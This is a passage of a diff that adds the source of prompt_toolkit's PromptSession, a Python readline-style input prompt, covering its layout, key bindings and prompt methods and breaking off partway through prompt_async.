DynamicKeyBindings, + KeyBindings, + KeyBindingsBase, + merge_key_bindings, +) +from prompt_toolkit.key_binding.key_processor import KeyPressEvent +from prompt_toolkit.keys import Keys +from prompt_toolkit.layout import Float, FloatContainer, HSplit, Window +from prompt_toolkit.layout.containers import ConditionalContainer, WindowAlign +from prompt_toolkit.layout.controls import ( + BufferControl, + FormattedTextControl, + SearchBufferControl, +) +from prompt_toolkit.layout.dimension import Dimension +from prompt_toolkit.layout.layout import Layout +from prompt_toolkit.layout.menus import CompletionsMenu, MultiColumnCompletionsMenu +from prompt_toolkit.layout.processors import ( + AfterInput, + AppendAutoSuggestion, + ConditionalProcessor, + DisplayMultipleCursors, + DynamicProcessor, + HighlightIncrementalSearchProcessor, + HighlightSelectionProcessor, + PasswordProcessor, + Processor, + ReverseSearchProcessor, + merge_processors, +) +from prompt_toolkit.layout.utils import explode_text_fragments +from prompt_toolkit.lexers import DynamicLexer, Lexer +from prompt_toolkit.output import ColorDepth, DummyOutput, Output +from prompt_toolkit.styles import ( + BaseStyle, + ConditionalStyleTransformation, + DynamicStyle, + DynamicStyleTransformation, + StyleTransformation, + SwapLightAndDarkStyleTransformation, + merge_style_transformations, +) +from prompt_toolkit.utils import ( + get_cwidth, + is_dumb_terminal, + suspend_to_background_supported, + to_str, +) +from prompt_toolkit.validation import DynamicValidator, Validator +from prompt_toolkit.widgets.toolbars import ( + SearchToolbar, + SystemToolbar, + ValidationToolbar, +) + +if TYPE_CHECKING: + from prompt_toolkit.formatted_text.base import MagicFormattedText + +__all__ = [ + "PromptSession", + "prompt", + "confirm", + "create_confirm_session", # Used by '_display_completions_like_readline'. + "CompleteStyle", +] + +_StyleAndTextTuplesCallable = Callable[[], StyleAndTextTuples] +E = KeyPressEvent + + +def _split_multiline_prompt( + get_prompt_text: _StyleAndTextTuplesCallable, +) -> Tuple[ + Callable[[], bool], _StyleAndTextTuplesCallable, _StyleAndTextTuplesCallable +]: + """ + Take a `get_prompt_text` function and return three new functions instead. + One that tells whether this prompt consists of multiple lines; one that + returns the fragments to be shown on the lines above the input; and another + one with the fragments to be shown at the first line of the input. + """ + + def has_before_fragments() -> bool: + for fragment, char, *_ in get_prompt_text(): + if "\n" in char: + return True + return False + + def before() -> StyleAndTextTuples: + result: StyleAndTextTuples = [] + found_nl = False + for fragment, char, *_ in reversed(explode_text_fragments(get_prompt_text())): + if found_nl: + result.insert(0, (fragment, char)) + elif char == "\n": + found_nl = True + return result + + def first_input_line() -> StyleAndTextTuples: + result: StyleAndTextTuples = [] + for fragment, char, *_ in reversed(explode_text_fragments(get_prompt_text())): + if char == "\n": + break + else: + result.insert(0, (fragment, char)) + return result + + return has_before_fragments, before, first_input_line + + +class _RPrompt(Window): + """ + The prompt that is displayed on the right side of the Window. + """ + + def __init__(self, text: AnyFormattedText) -> None: + super().__init__( + FormattedTextControl(text=text), + align=WindowAlign.RIGHT, + style="class:rprompt", + ) + + +class CompleteStyle(str, Enum): + """ + How to display autocompletions for the prompt. + """ + + value: str + + COLUMN = "COLUMN" + MULTI_COLUMN = "MULTI_COLUMN" + READLINE_LIKE = "READLINE_LIKE" + + +# Formatted text for the continuation prompt. It's the same like other +# formatted text, except that if it's a callable, it takes three arguments. +PromptContinuationText = Union[ + str, + "MagicFormattedText", + StyleAndTextTuples, + # (prompt_width, line_number, wrap_count) -> AnyFormattedText. + Callable[[int, int, int], AnyFormattedText], +] + +_T = TypeVar("_T") + + +class PromptSession(Generic[_T]): + """ + PromptSession for a prompt application, which can be used as a GNU Readline + replacement. + + This is a wrapper around a lot of ``prompt_toolkit`` functionality and can + be a replacement for `raw_input`. + + All parameters that expect "formatted text" can take either just plain text + (a unicode object), a list of ``(style_str, text)`` tuples or an HTML object. + + Example usage:: + + s = PromptSession(message='>') + text = s.prompt() + + :param message: Plain text or formatted text to be shown before the prompt. + This can also be a callable that returns formatted text. + :param multiline: `bool` or :class:`~prompt_toolkit.filters.Filter`. + When True, prefer a layout that is more adapted for multiline input. + Text after newlines is automatically indented, and search/arg input is + shown below the input, instead of replacing the prompt. + :param wrap_lines: `bool` or :class:`~prompt_toolkit.filters.Filter`. + When True (the default), automatically wrap long lines instead of + scrolling horizontally. + :param is_password: Show asterisks instead of the actual typed characters. + :param editing_mode: ``EditingMode.VI`` or ``EditingMode.EMACS``. + :param vi_mode: `bool`, if True, Identical to ``editing_mode=EditingMode.VI``. + :param complete_while_typing: `bool` or + :class:`~prompt_toolkit.filters.Filter`. Enable autocompletion while + typing. + :param validate_while_typing: `bool` or + :class:`~prompt_toolkit.filters.Filter`. Enable input validation while + typing. + :param enable_history_search: `bool` or + :class:`~prompt_toolkit.filters.Filter`. Enable up-arrow parting + string matching. + :param search_ignore_case: + :class:`~prompt_toolkit.filters.Filter`. Search case insensitive. + :param lexer: :class:`~prompt_toolkit.lexers.Lexer` to be used for the + syntax highlighting. + :param validator: :class:`~prompt_toolkit.validation.Validator` instance + for input validation. + :param completer: :class:`~prompt_toolkit.completion.Completer` instance + for input completion. + :param complete_in_thread: `bool` or + :class:`~prompt_toolkit.filters.Filter`. Run the completer code in a + background thread in order to avoid blocking the user interface. + For ``CompleteStyle.READLINE_LIKE``, this setting has no effect. There + we always run the completions in the main thread. + :param reserve_space_for_menu: Space to be reserved for displaying the menu. + (0 means that no space needs to be reserved.) + :param auto_suggest: :class:`~prompt_toolkit.auto_suggest.AutoSuggest` + instance for input suggestions. + :param style: :class:`.Style` instance for the color scheme. + :param include_default_pygments_style: `bool` or + :class:`~prompt_toolkit.filters.Filter`. Tell whether the default + styling for Pygments lexers has to be included. By default, this is + true, but it is recommended to be disabled if another Pygments style is + passed as the `style` argument, otherwise, two Pygments styles will be + merged. + :param style_transformation: + :class:`~prompt_toolkit.style.StyleTransformation` instance. + :param swap_light_and_dark_colors: `bool` or + :class:`~prompt_toolkit.filters.Filter`. When enabled, apply + :class:`~prompt_toolkit.style.SwapLightAndDarkStyleTransformation`. + This is useful for switching between dark and light terminal + backgrounds. + :param enable_system_prompt: `bool` or + :class:`~prompt_toolkit.filters.Filter`. Pressing Meta+'!' will show + a system prompt. + :param enable_suspend: `bool` or :class:`~prompt_toolkit.filters.Filter`. + Enable Control-Z style suspension. + :param enable_open_in_editor: `bool` or + :class:`~prompt_toolkit.filters.Filter`. Pressing 'v' in Vi mode or + C-X C-E in emacs mode will open an external editor. + :param history: :class:`~prompt_toolkit.history.History` instance. + :param clipboard: :class:`~prompt_toolkit.clipboard.Clipboard` instance. + (e.g. :class:`~prompt_toolkit.clipboard.InMemoryClipboard`) + :param rprompt: Text or formatted text to be displayed on the right side. + This can also be a callable that returns (formatted) text. + :param bottom_toolbar: Formatted text or callable which is supposed to + return formatted text. + :param prompt_continuation: Text that needs to be displayed for a multiline + prompt continuation. This can either be formatted text or a callable + that takes a `prompt_width`, `line_number` and `wrap_count` as input + and returns formatted text. When this is `None` (the default), then + `prompt_width` spaces will be used. + :param complete_style: ``CompleteStyle.COLUMN``, + ``CompleteStyle.MULTI_COLUMN`` or ``CompleteStyle.READLINE_LIKE``. + :param mouse_support: `bool` or :class:`~prompt_toolkit.filters.Filter` + to enable mouse support. + :param placeholder: Text to be displayed when no input has been given + yet. Unlike the `default` parameter, this won't be returned as part of + the output ever. This can be formatted text or a callable that returns + formatted text. + :param refresh_interval: (number; in seconds) When given, refresh the UI + every so many seconds. + :param input: `Input` object. (Note that the preferred way to change the + input/output is by creating an `AppSession`.) + :param output: `Output` object. + """ + + _fields = ( + "message", + "lexer", + "completer", + "complete_in_thread", + "is_password", + "editing_mode", + "key_bindings", + "is_password", + "bottom_toolbar", + "style", + "style_transformation", + "swap_light_and_dark_colors", + "color_depth", + "cursor", + "include_default_pygments_style", + "rprompt", + "multiline", + "prompt_continuation", + "wrap_lines", + "enable_history_search", + "search_ignore_case", + "complete_while_typing", + "validate_while_typing", + "complete_style", + "mouse_support", + "auto_suggest", + "clipboard", + "validator", + "refresh_interval", + "input_processors", + "placeholder", + "enable_system_prompt", + "enable_suspend", + "enable_open_in_editor", + "reserve_space_for_menu", + "tempfile_suffix", + "tempfile", + ) + + def __init__( + self, + message: AnyFormattedText = "", + *, + multiline: FilterOrBool = False, + wrap_lines: FilterOrBool = True, + is_password: FilterOrBool = False, + vi_mode: bool = False, + editing_mode: EditingMode = EditingMode.EMACS, + complete_while_typing: FilterOrBool = True, + validate_while_typing: FilterOrBool = True, + enable_history_search: FilterOrBool = False, + search_ignore_case: FilterOrBool = False, + lexer: Optional[Lexer] = None, + enable_system_prompt: FilterOrBool = False, + enable_suspend: FilterOrBool = False, + enable_open_in_editor: FilterOrBool = False, + validator: Optional[Validator] = None, + completer: Optional[Completer] = None, + complete_in_thread: bool = False, + reserve_space_for_menu: int = 8, + complete_style: CompleteStyle = CompleteStyle.COLUMN, + auto_suggest: Optional[AutoSuggest] = None, + style: Optional[BaseStyle] = None, + style_transformation: Optional[StyleTransformation] = None, + swap_light_and_dark_colors: FilterOrBool = False, + color_depth: Optional[ColorDepth] = None, + cursor: AnyCursorShapeConfig = None, + include_default_pygments_style: FilterOrBool = True, + history: Optional[History] = None, + clipboard: Optional[Clipboard] = None, + prompt_continuation: Optional[PromptContinuationText] = None, + rprompt: AnyFormattedText = None, + bottom_toolbar: AnyFormattedText = None, + mouse_support: FilterOrBool = False, + input_processors: Optional[List[Processor]] = None, + placeholder: Optional[AnyFormattedText] = None, + key_bindings: Optional[KeyBindingsBase] = None, + erase_when_done: bool = False, + tempfile_suffix: Optional[Union[str, Callable[[], str]]] = ".txt", + tempfile: Optional[Union[str, Callable[[], str]]] = None, + refresh_interval: float = 0, + input: Optional[Input] = None, + output: Optional[Output] = None, + ) -> None: + + history = history or InMemoryHistory() + clipboard = clipboard or InMemoryClipboard() + + # Ensure backwards-compatibility, when `vi_mode` is passed. + if vi_mode: + editing_mode = EditingMode.VI + + # Store all settings in this class. + self._input = input + self._output = output + + # Store attributes. + # (All except 'editing_mode'.) + self.message = message + self.lexer = lexer + self.completer = completer + self.complete_in_thread = complete_in_thread + self.is_password = is_password + self.key_bindings = key_bindings + self.bottom_toolbar = bottom_toolbar + self.style = style + self.style_transformation = style_transformation + self.swap_light_and_dark_colors = swap_light_and_dark_colors + self.color_depth = color_depth + self.cursor = cursor + self.include_default_pygments_style = include_default_pygments_style + self.rprompt = rprompt + self.multiline = multiline + self.prompt_continuation = prompt_continuation + self.wrap_lines = wrap_lines + self.enable_history_search = enable_history_search + self.search_ignore_case = search_ignore_case + self.complete_while_typing = complete_while_typing + self.validate_while_typing = validate_while_typing + self.complete_style = complete_style + self.mouse_support = mouse_support + self.auto_suggest = auto_suggest + self.clipboard = clipboard + self.validator = validator + self.refresh_interval = refresh_interval + self.input_processors = input_processors + self.placeholder = placeholder + self.enable_system_prompt = enable_system_prompt + self.enable_suspend = enable_suspend + self.enable_open_in_editor = enable_open_in_editor + self.reserve_space_for_menu = reserve_space_for_menu + self.tempfile_suffix = tempfile_suffix + self.tempfile = tempfile + + # Create buffers, layout and Application. + self.history = history + self.default_buffer = self._create_default_buffer() + self.search_buffer = self._create_search_buffer() + self.layout = self._create_layout() + self.app = self._create_application(editing_mode, erase_when_done) + + def _dyncond(self, attr_name: str) -> Condition: + """ + Dynamically take this setting from this 'PromptSession' class. + `attr_name` represents an attribute name of this class. Its value + can either be a boolean or a `Filter`. + + This returns something that can be used as either a `Filter` + or `Filter`. + """ + + @Condition + def dynamic() -> bool: + value = cast(FilterOrBool, getattr(self, attr_name)) + return to_filter(value)() + + return dynamic + + def _create_default_buffer(self) -> Buffer: + """ + Create and return the default input buffer. + """ + dyncond = self._dyncond + + # Create buffers list. + def accept(buff: Buffer) -> bool: + """Accept the content of the default buffer. This is called when + the validation succeeds.""" + cast(Application[str], get_app()).exit(result=buff.document.text) + return True # Keep text, we call 'reset' later on. + + return Buffer( + name=DEFAULT_BUFFER, + # Make sure that complete_while_typing is disabled when + # enable_history_search is enabled. (First convert to Filter, + # to avoid doing bitwise operations on bool objects.) + complete_while_typing=Condition( + lambda: is_true(self.complete_while_typing) + and not is_true(self.enable_history_search) + and not self.complete_style == CompleteStyle.READLINE_LIKE + ), + validate_while_typing=dyncond("validate_while_typing"), + enable_history_search=dyncond("enable_history_search"), + validator=DynamicValidator(lambda: self.validator), + completer=DynamicCompleter( + lambda: ThreadedCompleter(self.completer) + if self.complete_in_thread and self.completer + else self.completer + ), + history=self.history, + auto_suggest=DynamicAutoSuggest(lambda: self.auto_suggest), + accept_handler=accept, + tempfile_suffix=lambda: to_str(self.tempfile_suffix or ""), + tempfile=lambda: to_str(self.tempfile or ""), + ) + + def _create_search_buffer(self) -> Buffer: + return Buffer(name=SEARCH_BUFFER) + + def _create_layout(self) -> Layout: + """ + Create `Layout` for this prompt. + """ + dyncond = self._dyncond + + # Create functions that will dynamically split the prompt. (If we have + # a multiline prompt.) + ( + has_before_fragments, + get_prompt_text_1, + get_prompt_text_2, + ) = _split_multiline_prompt(self._get_prompt) + + default_buffer = self.default_buffer + search_buffer = self.search_buffer + + # Create processors list. + @Condition + def display_placeholder() -> bool: + return self.placeholder is not None and self.default_buffer.text == "" + + all_input_processors = [ + HighlightIncrementalSearchProcessor(), + HighlightSelectionProcessor(), + ConditionalProcessor( + AppendAutoSuggestion(), has_focus(default_buffer) & ~is_done + ), + ConditionalProcessor(PasswordProcessor(), dyncond("is_password")), + DisplayMultipleCursors(), + # Users can insert processors here. + DynamicProcessor(lambda: merge_processors(self.input_processors or [])), + ConditionalProcessor( + AfterInput(lambda: self.placeholder), + filter=display_placeholder, + ), + ] + + # Create bottom toolbars. + bottom_toolbar = ConditionalContainer( + Window( + FormattedTextControl( + lambda: self.bottom_toolbar, style="class:bottom-toolbar.text" + ), + style="class:bottom-toolbar", + dont_extend_height=True, + height=Dimension(min=1), + ), + filter=~is_done + & renderer_height_is_known + & Condition(lambda: self.bottom_toolbar is not None), + ) + + search_toolbar = SearchToolbar( + search_buffer, ignore_case=dyncond("search_ignore_case") + ) + + search_buffer_control = SearchBufferControl( + buffer=search_buffer, + input_processors=[ReverseSearchProcessor()], + ignore_case=dyncond("search_ignore_case"), + ) + + system_toolbar = SystemToolbar( + enable_global_bindings=dyncond("enable_system_prompt") + ) + + def get_search_buffer_control() -> SearchBufferControl: + "Return the UIControl to be focused when searching start." + if is_true(self.multiline): + return search_toolbar.control + else: + return search_buffer_control + + default_buffer_control = BufferControl( + buffer=default_buffer, + search_buffer_control=get_search_buffer_control, + input_processors=all_input_processors, + include_default_input_processors=False, + lexer=DynamicLexer(lambda: self.lexer), + preview_search=True, + ) + + default_buffer_window = Window( + default_buffer_control, + height=self._get_default_buffer_control_height, + get_line_prefix=partial( + self._get_line_prefix, get_prompt_text_2=get_prompt_text_2 + ), + wrap_lines=dyncond("wrap_lines"), + ) + + @Condition + def multi_column_complete_style() -> bool: + return self.complete_style == CompleteStyle.MULTI_COLUMN + + # Build the layout. + layout = HSplit( + [ + # The main input, with completion menus floating on top of it. + FloatContainer( + HSplit( + [ + ConditionalContainer( + Window( + FormattedTextControl(get_prompt_text_1), + dont_extend_height=True, + ), + Condition(has_before_fragments), + ), + ConditionalContainer( + default_buffer_window, + Condition( + lambda: get_app().layout.current_control + != search_buffer_control + ), + ), + ConditionalContainer( + Window(search_buffer_control), + Condition( + lambda: get_app().layout.current_control + == search_buffer_control + ), + ), + ] + ), + [ + # Completion menus. + # NOTE: Especially the multi-column menu needs to be + # transparent, because the shape is not always + # rectangular due to the meta-text below the menu. + Float( + xcursor=True, + ycursor=True, + transparent=True, + content=CompletionsMenu( + max_height=16, + scroll_offset=1, + extra_filter=has_focus(default_buffer) + & ~multi_column_complete_style, + ), + ), + Float( + xcursor=True, + ycursor=True, + transparent=True, + content=MultiColumnCompletionsMenu( + show_meta=True, + extra_filter=has_focus(default_buffer) + & multi_column_complete_style, + ), + ), + # The right prompt. + Float( + right=0, + bottom=0, + hide_when_covering_content=True, + content=_RPrompt(lambda: self.rprompt), + ), + ], + ), + ConditionalContainer(ValidationToolbar(), filter=~is_done), + ConditionalContainer( + system_toolbar, dyncond("enable_system_prompt") & ~is_done + ), + # In multiline mode, we use two toolbars for 'arg' and 'search'. + ConditionalContainer( + Window(FormattedTextControl(self._get_arg_text), height=1), + dyncond("multiline") & has_arg, + ), + ConditionalContainer(search_toolbar, dyncond("multiline") & ~is_done), + bottom_toolbar, + ] + ) + + return Layout(layout, default_buffer_window) + + def _create_application( + self, editing_mode: EditingMode, erase_when_done: bool + ) -> Application[_T]: + """ + Create the `Application` object. + """ + dyncond = self._dyncond + + # Default key bindings. + auto_suggest_bindings = load_auto_suggest_bindings() + open_in_editor_bindings = load_open_in_editor_bindings() + prompt_bindings = self._create_prompt_bindings() + + # Create application + application: Application[_T] = Application( + layout=self.layout, + style=DynamicStyle(lambda: self.style), + style_transformation=merge_style_transformations( + [ + DynamicStyleTransformation(lambda: self.style_transformation), + ConditionalStyleTransformation( + SwapLightAndDarkStyleTransformation(), + dyncond("swap_light_and_dark_colors"), + ), + ] + ), + include_default_pygments_style=dyncond("include_default_pygments_style"), + clipboard=DynamicClipboard(lambda: self.clipboard), + key_bindings=merge_key_bindings( + [ + merge_key_bindings( + [ + auto_suggest_bindings, + ConditionalKeyBindings( + open_in_editor_bindings, + dyncond("enable_open_in_editor") + & has_focus(DEFAULT_BUFFER), + ), + prompt_bindings, + ] + ), + DynamicKeyBindings(lambda: self.key_bindings), + ] + ), + mouse_support=dyncond("mouse_support"), + editing_mode=editing_mode, + erase_when_done=erase_when_done, + reverse_vi_search_direction=True, + color_depth=lambda: self.color_depth, + cursor=DynamicCursorShapeConfig(lambda: self.cursor), + refresh_interval=self.refresh_interval, + input=self._input, + output=self._output, + ) + + # During render time, make sure that we focus the right search control + # (if we are searching). - This could be useful if people make the + # 'multiline' property dynamic. + """ + def on_render(app): + multiline = is_true(self.multiline) + current_control = app.layout.current_control + + if multiline: + if current_control == search_buffer_control: + app.layout.current_control = search_toolbar.control + app.invalidate() + else: + if current_control == search_toolbar.control: + app.layout.current_control = search_buffer_control + app.invalidate() + + app.on_render += on_render + """ + + return application + + def _create_prompt_bindings(self) -> KeyBindings: + """ + Create the KeyBindings for a prompt application. + """ + kb = KeyBindings() + handle = kb.add + default_focused = has_focus(DEFAULT_BUFFER) + + @Condition + def do_accept() -> bool: + return not is_true(self.multiline) and self.app.layout.has_focus( + DEFAULT_BUFFER + ) + + @handle("enter", filter=do_accept & default_focused) + def _accept_input(event: E) -> None: + "Accept input when enter has been pressed." + self.default_buffer.validate_and_handle() + + @Condition + def readline_complete_style() -> bool: + return self.complete_style == CompleteStyle.READLINE_LIKE + + @handle("tab", filter=readline_complete_style & default_focused) + def _complete_like_readline(event: E) -> None: + "Display completions (like Readline)." + display_completions_like_readline(event) + + @handle("c-c", filter=default_focused) + @handle("") + def _keyboard_interrupt(event: E) -> None: + "Abort when Control-C has been pressed." + event.app.exit(exception=KeyboardInterrupt, style="class:aborting") + + @Condition + def ctrl_d_condition() -> bool: + """Ctrl-D binding is only active when the default buffer is selected + and empty.""" + app = get_app() + return ( + app.current_buffer.name == DEFAULT_BUFFER + and not app.current_buffer.text + ) + + @handle("c-d", filter=ctrl_d_condition & default_focused) + def _eof(event: E) -> None: + "Exit when Control-D has been pressed." + event.app.exit(exception=EOFError, style="class:exiting") + + suspend_supported = Condition(suspend_to_background_supported) + + @Condition + def enable_suspend() -> bool: + return to_filter(self.enable_suspend)() + + @handle("c-z", filter=suspend_supported & enable_suspend) + def _suspend(event: E) -> None: + """ + Suspend process to background. + """ + event.app.suspend_to_background() + + return kb + + def prompt( + self, + # When any of these arguments are passed, this value is overwritten + # in this PromptSession. + message: Optional[AnyFormattedText] = None, + # `message` should go first, because people call it as + # positional argument. + *, + editing_mode: Optional[EditingMode] = None, + refresh_interval: Optional[float] = None, + vi_mode: Optional[bool] = None, + lexer: Optional[Lexer] = None, + completer: Optional[Completer] = None, + complete_in_thread: Optional[bool] = None, + is_password: Optional[bool] = None, + key_bindings: Optional[KeyBindingsBase] = None, + bottom_toolbar: Optional[AnyFormattedText] = None, + style: Optional[BaseStyle] = None, + color_depth: Optional[ColorDepth] = None, + cursor: Optional[AnyCursorShapeConfig] = None, + include_default_pygments_style: Optional[FilterOrBool] = None, + style_transformation: Optional[StyleTransformation] = None, + swap_light_and_dark_colors: Optional[FilterOrBool] = None, + rprompt: Optional[AnyFormattedText] = None, + multiline: Optional[FilterOrBool] = None, + prompt_continuation: Optional[PromptContinuationText] = None, + wrap_lines: Optional[FilterOrBool] = None, + enable_history_search: Optional[FilterOrBool] = None, + search_ignore_case: Optional[FilterOrBool] = None, + complete_while_typing: Optional[FilterOrBool] = None, + validate_while_typing: Optional[FilterOrBool] = None, + complete_style: Optional[CompleteStyle] = None, + auto_suggest: Optional[AutoSuggest] = None, + validator: Optional[Validator] = None, + clipboard: Optional[Clipboard] = None, + mouse_support: Optional[FilterOrBool] = None, + input_processors: Optional[List[Processor]] = None, + placeholder: Optional[AnyFormattedText] = None, + reserve_space_for_menu: Optional[int] = None, + enable_system_prompt: Optional[FilterOrBool] = None, + enable_suspend: Optional[FilterOrBool] = None, + enable_open_in_editor: Optional[FilterOrBool] = None, + tempfile_suffix: Optional[Union[str, Callable[[], str]]] = None, + tempfile: Optional[Union[str, Callable[[], str]]] = None, + # Following arguments are specific to the current `prompt()` call. + default: Union[str, Document] = "", + accept_default: bool = False, + pre_run: Optional[Callable[[], None]] = None, + set_exception_handler: bool = True, + handle_sigint: bool = True, + in_thread: bool = False, + ) -> _T: + """ + Display the prompt. + + The first set of arguments is a subset of the :class:`~.PromptSession` + class itself. For these, passing in ``None`` will keep the current + values that are active in the session. Passing in a value will set the + attribute for the session, which means that it applies to the current, + but also to the next prompts. + + Note that in order to erase a ``Completer``, ``Validator`` or + ``AutoSuggest``, you can't use ``None``. Instead pass in a + ``DummyCompleter``, ``DummyValidator`` or ``DummyAutoSuggest`` instance + respectively. For a ``Lexer`` you can pass in an empty ``SimpleLexer``. + + Additional arguments, specific for this prompt: + + :param default: The default input text to be shown. (This can be edited + by the user). + :param accept_default: When `True`, automatically accept the default + value without allowing the user to edit the input. + :param pre_run: Callable, called at the start of `Application.run`. + :param in_thread: Run the prompt in a background thread; block the + current thread. This avoids interference with an event loop in the + current thread. Like `Application.run(in_thread=True)`. + + This method will raise ``KeyboardInterrupt`` when control-c has been + pressed (for abort) and ``EOFError`` when control-d has been pressed + (for exit). + """ + # NOTE: We used to create a backup of the PromptSession attributes and + # restore them after exiting the prompt. This code has been + # removed, because it was confusing and didn't really serve a use + # case. (People were changing `Application.editing_mode` + # dynamically and surprised that it was reset after every call.) + + # NOTE 2: YES, this is a lot of repeation below... + # However, it is a very convenient for a user to accept all + # these parameters in this `prompt` method as well. We could + # use `locals()` and `setattr` to avoid the repetition, but + # then we loose the advantage of mypy and pyflakes to be able + # to verify the code. + if message is not None: + self.message = message + if editing_mode is not None: + self.editing_mode = editing_mode + if refresh_interval is not None: + self.refresh_interval = refresh_interval + if vi_mode: + self.editing_mode = EditingMode.VI + if lexer is not None: + self.lexer = lexer + if completer is not None: + self.completer = completer + if complete_in_thread is not None: + self.complete_in_thread = complete_in_thread + if is_password is not None: + self.is_password = is_password + if key_bindings is not None: + self.key_bindings = key_bindings + if bottom_toolbar is not None: + self.bottom_toolbar = bottom_toolbar + if style is not None: + self.style = style + if color_depth is not None: + self.color_depth = color_depth + if cursor is not None: + self.cursor = cursor + if include_default_pygments_style is not None: + self.include_default_pygments_style = include_default_pygments_style + if style_transformation is not None: + self.style_transformation = style_transformation + if swap_light_and_dark_colors is not None: + self.swap_light_and_dark_colors = swap_light_and_dark_colors + if rprompt is not None: + self.rprompt = rprompt + if multiline is not None: + self.multiline = multiline + if prompt_continuation is not None: + self.prompt_continuation = prompt_continuation + if wrap_lines is not None: + self.wrap_lines = wrap_lines + if enable_history_search is not None: + self.enable_history_search = enable_history_search + if search_ignore_case is not None: + self.search_ignore_case = search_ignore_case + if complete_while_typing is not None: + self.complete_while_typing = complete_while_typing + if validate_while_typing is not None: + self.validate_while_typing = validate_while_typing + if complete_style is not None: + self.complete_style = complete_style + if auto_suggest is not None: + self.auto_suggest = auto_suggest + if validator is not None: + self.validator = validator + if clipboard is not None: + self.clipboard = clipboard + if mouse_support is not None: + self.mouse_support = mouse_support + if input_processors is not None: + self.input_processors = input_processors + if placeholder is not None: + self.placeholder = placeholder + if reserve_space_for_menu is not None: + self.reserve_space_for_menu = reserve_space_for_menu + if enable_system_prompt is not None: + self.enable_system_prompt = enable_system_prompt + if enable_suspend is not None: + self.enable_suspend = enable_suspend + if enable_open_in_editor is not None: + self.enable_open_in_editor = enable_open_in_editor + if tempfile_suffix is not None: + self.tempfile_suffix = tempfile_suffix + if tempfile is not None: + self.tempfile = tempfile + + self._add_pre_run_callables(pre_run, accept_default) + self.default_buffer.reset( + default if isinstance(default, Document) else Document(default) + ) + self.app.refresh_interval = self.refresh_interval # This is not reactive. + + # If we are using the default output, and have a dumb terminal. Use the + # dumb prompt. + if self._output is None and is_dumb_terminal(): + with self._dumb_prompt(self.message) as dump_app: + return dump_app.run(in_thread=in_thread, handle_sigint=handle_sigint) + + return self.app.run( + set_exception_handler=set_exception_handler, + in_thread=in_thread, + handle_sigint=handle_sigint, + ) + + @contextmanager + def _dumb_prompt(self, message: AnyFormattedText = "") -> Iterator[Application[_T]]: + """ + Create prompt `Application` for prompt function for dumb terminals. + + Dumb terminals have minimum rendering capabilities. We can only print + text to the screen. We can't use colors, and we can't do cursor + movements. The Emacs inferior shell is an example of a dumb terminal. + + We will show the prompt, and wait for the input. We still handle arrow + keys, and all custom key bindings, but we don't really render the + cursor movements. Instead we only print the typed character that's + right before the cursor. + """ + # Send prompt to output. + self.output.write(fragment_list_to_text(to_formatted_text(self.message))) + self.output.flush() + + # Key bindings for the dumb prompt: mostly the same as the full prompt. + key_bindings: KeyBindingsBase = self._create_prompt_bindings() + if self.key_bindings: + key_bindings = merge_key_bindings([self.key_bindings, key_bindings]) + + # Create and run application. + application = cast( + Application[_T], + Application( + input=self.input, + output=DummyOutput(), + layout=self.layout, + key_bindings=key_bindings, + ), + ) + + def on_text_changed(_: object) -> None: + self.output.write(self.default_buffer.document.text_before_cursor[-1:]) + self.output.flush() + + self.default_buffer.on_text_changed += on_text_changed + + try: + yield application + finally: + # Render line ending. + self.output.write("\r\n") + self.output.flush() + + self.default_buffer.on_text_changed -= on_text_changed + + async def prompt_async( + self, + # When any of these arguments are passed, this value is overwritten + # in this PromptSession. + message: Optional[AnyFormattedText] = None, + # `message` should go first, because people call it as + # positional argument. + *, + editing_mode: Optional[EditingMode] = None, + refresh_interval: Optional[float] = None, + vi_mode: Optional[bool] = None, + lexer: Optional[Lexer] = None, + completer: Optional[Completer] = None, + complete_in_thread: Optional[bool] = None, + is_password: Optional[bool] = None, + key_bindings: Optional[KeyBindingsBase] = None, + bottom_toolbar: Optional[AnyFormattedText] = None, + style: Optional[BaseStyle] = None, + color_depth: Optional[ColorDepth] = None, + cursor: Optional[CursorShapeConfig] = None, + include_default_pygments_style: Optional[FilterOrBool] = None, + style_transformation: Optional[StyleTransformation] = None, + swap_light_and_dark_colors: Optional[FilterOrBool] = None, + rprompt: Optional[AnyFormattedText] = None, + multiline: Optional[FilterOrBool] = None, + prompt_continuation: Optional[PromptContinuationText] = None, + wrap_lines: Optional[FilterOrBool] = None, + enable_history_search: Optional[FilterOrBool] = None, + search_ignore_case: Optional[FilterOrBool] = None, + complete_while_typing: Optional[FilterOrBool] = None, + validate_while_typing: Optional[FilterOrBool] = None, + complete_style: Optional[CompleteStyle] = None, + auto_suggest: Optional[AutoSuggest] = None, + validator: Optional[Validator] = None, + clipboard: Optional[Clipboard] = None, + mouse_support: Optional[FilterOrBool] = None, + input_processors: Optional[List[Processor]] = None, + placeholder: Optional[AnyFormattedText] = None, + reserve_space_for_menu: Optional[int] = None, + enable_system_prompt: Optional[FilterOrBool] = None, + enable_suspend: Optional[FilterOrBool] = None, + enable_open_in_editor: Optional[FilterOrBool] = None, + tempfile_suffix: Optional[Union[str, Callable[[], str]]] = None, + tempfile: Optional[Union[str, Callable[[], str]]] = None, + # Following arguments are specific to the current `prompt()` call. + default: Union[str, Document] = "", + accept_default: bool = False, + pre_run: Optional[Callable[[], None]] = None, + set_exception_handler: bool = True, + handle_sigint: bool = True, + ) -> _T: + + if message is not None: + self.message = message + if editing_mode is not None: + self.editing_mode = editing_mode + if refresh_interval is not None: + self.refresh_interval = refresh_interval + if vi_mode: + self.editing_mode = EditingMode.VI + if lexer is not None: + self.lexer = lexer + if completer is not None: + self.completer = completer + if complete_in_thread is not None: + self.complete_in_thread = complete_in_thread + if is_password is not None: + self.is_password = is_password + if key_bindings is not None: + self.key_bindings = key_bindings + if bottom_toolbar is not None: + self.bottom_toolbar = bottom_toolbar + if style is not None: + self.style = style + if color_depth is not None: + self.color_depth = color_depth + if cursor is not None: + self.cursor = cursor + if include_default_pygments_style is not None: + self.include_default_pygments_style = include_default_pygments_style + if style_transformation is not None: + self.style_transformation = style_transformation + if swap_light_and_dark_colors is not None: + self.swap_light_and_dark_colors = swap_light_and_dark_colors + if rprompt is not None: + self.rprompt = rprompt + if multiline is not None: + self.multiline = multiline + if prompt_continuation is not None: + self.prompt_continuation = prompt_continuation + if wrap_lines is not None: + self.wrap_lines = wrap_lines + if enable_history_search is not None: + self.enable_history_search = enable_history_search + if search_ignore_case is not None: + self.search_ignore_case = search_ignore_case + if complete_while_typing is not None: + self.complete_while_typing = complete_while_typing + if validate_while_typing is not None: + self.validate_while_typing = validate_while_typing + if complete_style is not None: + self.complete_style = complete_style + if auto_suggest is not None: + self.auto_suggest = 